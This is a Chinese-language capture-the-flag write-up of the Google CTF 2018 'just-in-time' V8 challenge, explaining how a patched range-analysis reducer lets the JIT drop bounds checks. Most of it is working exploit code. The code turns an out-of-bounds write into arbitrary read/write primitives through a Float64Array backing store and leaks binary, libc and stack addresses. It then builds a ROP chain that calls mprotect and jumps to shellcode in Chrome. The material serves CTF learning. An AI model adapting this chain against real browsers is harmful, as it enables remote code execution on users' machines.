https://github.com/google/google-ctf/tree/master/2018/finals/pwn-just-in-time/
我有点懒,就用xcode调了。
V8 version 7.2.0 (candidate)
gn gen out/gn --ide="xcode"
patch -p1 < ./addition-reducer.patch
cd out/gn
open all.xcworkspace/
编译
Number.MAX_SAFE_INTEGER = 2^53 - 1
...
...
var x = Number.MAX_SAFE_INTEGER + 1;//x = 9007199254740992
x += 1;//x = 9007199254740992
x += 1;//x = 9007199254740992
var y = Number.MAX_SAFE_INTEGER + 1;//y = 9007199254740992
y += 2;//y = 9007199254740994
function foo(doit) {
let a = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
let x = doit ? 9007199254740992 : 9007199254740991-2;
x += 1;
// #29:NumberConstant[1]() [Type: Range(1, 1)]
// #30:SpeculativeNumberAdd[Number](#25:Phi, #29:NumberConstant, #26:Checkpoint, #23:Merge) [Type: Range(9007199254740990, 9007199254740992)]
x += 1;
// #29:NumberConstant[1]() [Type: Range(1, 1)]
// #31:SpeculativeNumberAdd[Number](#30:SpeculativeNumberAdd, #29:NumberConstant, #30:SpeculativeNumberAdd, #23:Merge) [Type: Range(9007199254740991, 9007199254740992)]
x -= 9007199254740991;//解释:range(0,1);编译:(0,3);
// #32:NumberConstant[9.0072e+15]() [Type: Range(9007199254740991, 9007199254740991)]
// #33:SpeculativeNumberSubtract[Number](#31:SpeculativeNumberAdd, #32:NumberConstant, #31:SpeculativeNumberAdd, #23:Merge) [Type: Range(0, 1)]
x *= 3;//解释:(0,3);编译:(0,9);
// #34:NumberConstant[3]() [Type: Range(3, 3)]
// #35:SpeculativeNumberMultiply[Number](#33:SpeculativeNumberSubtract, #34:NumberConstant, #33:SpeculativeNumberSubtract, #23:Merge) [Type: Range(0, 3)]
x += 2;//解释:(2,5);编译:(2,11);
// #36:NumberConstant[2]() [Type: Range(2, 2)]
// #37:SpeculativeNumberAdd[Number](#35:SpeculativeNumberMultiply, #36:NumberConstant, #35:SpeculativeNumberMultiply, #23:Merge) [Type: Range(2, 5)]
a[x] = 2.1729236899484e-311; // (1024).smi2f()
}
for (var i = 0; i < 100000; i++){
foo(true);
}
分析poc,运行poc到remove checkbounds处
index_type.Print();
->Range(2, 5)
length_type.Print();
->Range(6, 6)
...
if (index_type.IsNone() || length_type.IsNone() ||
(index_type.Min() >= 0.0 &&
index_type.Max() < length_type.Min()))
满足,从而移除CheckBounds
总而言之,就是range analysis的结果和优化后实际的range不一致,导致在simplified lower将边界检查移除之后,产生越界读写。
首先将两个数组相邻放置,通过a的一次oob write去改掉b的elements的长度,改为1024,也就是图上的0x400。
现在我们可以通过b去进行越界读写了。
function foo(doit) {
let a = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
let b = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
...
...
for (let i = 0; i < 100000; i++) {//->触发JIT优化
foo(true);
g2[100] = 1;
if (g2[12] != undefined) break;//->确定已经越界写改掉了b的长度
}
if (g2[12] == undefined) {
throw 'g2[12] == undefined';
}
然后再在后面放置一个Float64Array,目的是通过修改它的ArrayBuffer的backing store来实现任意地址读写的原语。
function foo(doit) {
...
let b = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
...
g2 = b;
}
const ab_off = 26;
function setup() {
...
g4 = new Float64Array(7);//放置一个Float64Array
if (g2[ab_off+5].f2smi() != 0x38n || g2[ab_off+6].f2smi() != 0x7n) {
throw 'array buffer not at expected location';
//如图对应位置的0x38和0x7分别是byte_length和length,
// 如果对应的上,那么Float64Array就放置到了正确的位置
}
如图是g2[ab_off]处的内存布局,即我们放置的Float64Array
然后寻找array buffer backing store的位置
const ab_backing_store_off = ab_off + 0x15;
...
g4[0] = 5.5;
if (g2[ab_backing_store_off] != g4[0]) {
throw 'array buffer backing store not at expected location';
}
那么这个backing store的位置是哪里记录的呢?
我也是找了一会,这是我第一次见到直接new一个Float64Array的...
我通常见到的都是:
var ab = new ArrayBuffer(20);
var f64 = new Float64Array(ab);
首先找到Float64Array的elements
然后从对应内存的+0x10的位置找到backing store。
这里可以看到elements的地址是0x0000093f18ac9ed
在0x0000093f18ac9ed+0x20
处存放我们的第一个元素5.5(图上的0x4016000000000000)
所以在我们通过修改backing store来得到任意地址读写的原语的时候。
假设我们要读的内存的地址是addr,将backing store的值改为addr-0x20
,这样它就会从addr开始读取我们要读的内容。
function leak_ptr(o) {
g3[0] = o;
let ptr = g2[g3_off];
g3[0] = 0;
return ptr.f2i();
}
首先将一个object放入object数组g3中,然后用double array g2将对应位置的object读出来,就造成了一个类型混淆的效果,读出来的地址是float类型,用f2i将其转换成整形。
输出如下:
let Array_addr = leak_ptr(Array);
print('Array_addr: ' + Array_addr.hex());
...
Array_addr: 0x93f11611259
function readq(addr) {
let old = g2[ab_off+2];
g2[ab_backing_store_off-2] = (addr-0x20n|1n).i2f();
let q = g4[0];
g2[ab_off+2] = old;
return q.f2i();
}
function writeq(addr, val) {
let old = g2[ab_off+2];
g2[ab_backing_store_off-2] = (addr-0x20n|1n).i2f();
g4[0] = val.i2f();
g2[ab_off+2] = old;
}
简单的解释一下readq吧。
首先从g2[ab_off+2]得到backing store的原始值
然后修改它为我们要读的内存的地址,注意末位置1,这是v8里被称为Tagged Value的机制,末位置1才能表示HeapObject的指针。
然后修改为我们要读取的内容的值,比如我们要读取下图中code的值。
之前我解释过为什么这里addr要先减去0x20。
g2[ab_backing_store_off-2] = (addr-0x20n|1n).i2f();
现在的backing store被修改为addr-0x20
于是我们将从0x0000093f11611288将code的地址0x000001db14a8c821读出来。
输出如下
let Array_addr = leak_ptr(Array);
print('Array_addr: ' + Array_addr.hex());
let Array_code_addr = readq(Array_addr + 6n*8n);
print('Array_code_addr: ' + Array_code_addr.hex());
...
...
Array_code_addr: 0x1db14a8c821
writeq也是同理的,请自己看一下。
在6.7版本之前的v8中,由于function的code是可写的,于是我们可以直接在code写入我们的shellcode,然后调用这个function即可执行shellcode。
但是在之后,v8启用了新的安全特性,code不再可写,于是需要用rop来绕一下。
https://github.com/v8/v8/commit/f7aa8ea00bbf200e9050a22ec84fab4f323849a7
let Array_addr = leak_ptr(Array);
print('Array_addr: ' + Array_addr.hex());
let Array_code_addr = readq(Array_addr + 6n*8n);
print('Array_code_addr: ' + Array_code_addr.hex());
// Builtins_ArrayConstructor
let builtin_val = readq(Array_code_addr+8n*8n);
let Array_builtin_addr = builtin_val >> 16n;
print('Array_builtin_addr: ' + Array_builtin_addr.hex());
先leak出Array的地址,然后再找到Array的code地址,再由这个地址找到ArrayConstructor的地址。
现在我们leak出了ArrayConstructor的地址
vmmap可以看到它是在chrome binary映射的内存里。
将其取出并用IDA逆向
先找到ArrayConstructor在Chrome里的偏移
>>> hex(0x55b677f727c0-0x55b673f16000)
'0x405c7c0'
换句话说,用leak出来的ArrayConstructor地址减去0x405c7c0就是chrome binary映射的基地址,记为bin_base
let bin_base = Array_builtin_addr - 0x405c7c0n;
console.log(`bin base: ${bin_base.hex()}`);
然后找到got表,cxa_finalize是一个libc里的函数,在chrome的got表里会有一个指针指向它,记录一下这个指针所在的偏移是0x8DDBDE8。
于是leak出libc里的cxa_finalize地址。
再逆向一下libc.so,用leak出来的cxa_finalize_got减去偏移0x43520,得到libc基地址。
let cxa_finalize_got = bin_base + 0x8ddbde8n;
let libc_base = readq(cxa_finalize_got) - 0x43520n;
console.log('libc base: ' + libc_base.hex());
然后找到environ,environ是一个指针,它指向栈上,将其leak出来,我们现在得到了一个可写的栈地址。
let environ = libc_base+0x3ee098n;
let stack_ptr = readq(environ);
console.log(`stack: ${stack_ptr.hex()}`);
后面的内容比较简单,就是将shellcode写入到内存,然后逆向bin构造rop,用rop mprotect函数将这个内存页变成可以读写执行权限,再跳到shellcode执行即可。
let nop = bin_base+0x263d061n;
let pop_rdi = bin_base+0x264bdccn;
let pop_rsi = bin_base+0x267e82en;
let pop_rdx = bin_base+0x26a8d66n;
let mprotect = bin_base+0x88278f0n;
let sc_array = new Uint8Array(2048);
for (let i = 0; i < sc.length; i++) {
sc_array[i] = sc[i];
}
let sc_addr = readq((leak_ptr(sc_array)-1n+0x68n));
console.log(`sc_addr: ${sc_addr.hex()}`);
let rop = [
pop_rdi,
sc_addr,
pop_rsi,
4096n,
pop_rdx,
7n,
mprotect,
sc_addr
];
let rop_start = stack_ptr - 8n*BigInt(rop.length);
for (let i = 0; i < rop.length; i++) {
writeq(rop_start+8n*BigInt(i), rop[i]);
}
for (let i = 0; i < 0x200; i++) {
rop_start -= 8n;
writeq(rop_start, nop);
}
}
我举个简单的例子,我随便找了一个binary文件,假设红框框起来的地方是environment,上面黄框是写入的0x200个retn,注意这个nop其实是代表retn而不是0x90,当程序栈执行到retn,它就会一直往下retn,直到开始执行我们的rop,最终执行到shellcode。
for (let i = 0; i < 0x200; i++) {
rop_start -= 8n;
writeq(rop_start, nop);
}
cd ~/chrome
./chrome index.html
感谢stephen(@_tsuro)对我愚蠢问题的不厌其烦的指导,我翻了一个愚蠢的错误。
事实上直接用d8调试和chrome还是不太一样的,就是在leak cxa那里,它会把builtin随机映射到一段地址,而把cxa映射到libv8.so,所以就不能简单的根据偏移找到cxa了。
所以说当你在v8里完成一个任意地址读写的原语之后,就可以转到chrome里直接写exp了,而不需要再做过多的调试(换句话说你没必要直接调试完整的chrome,这没有什么意义)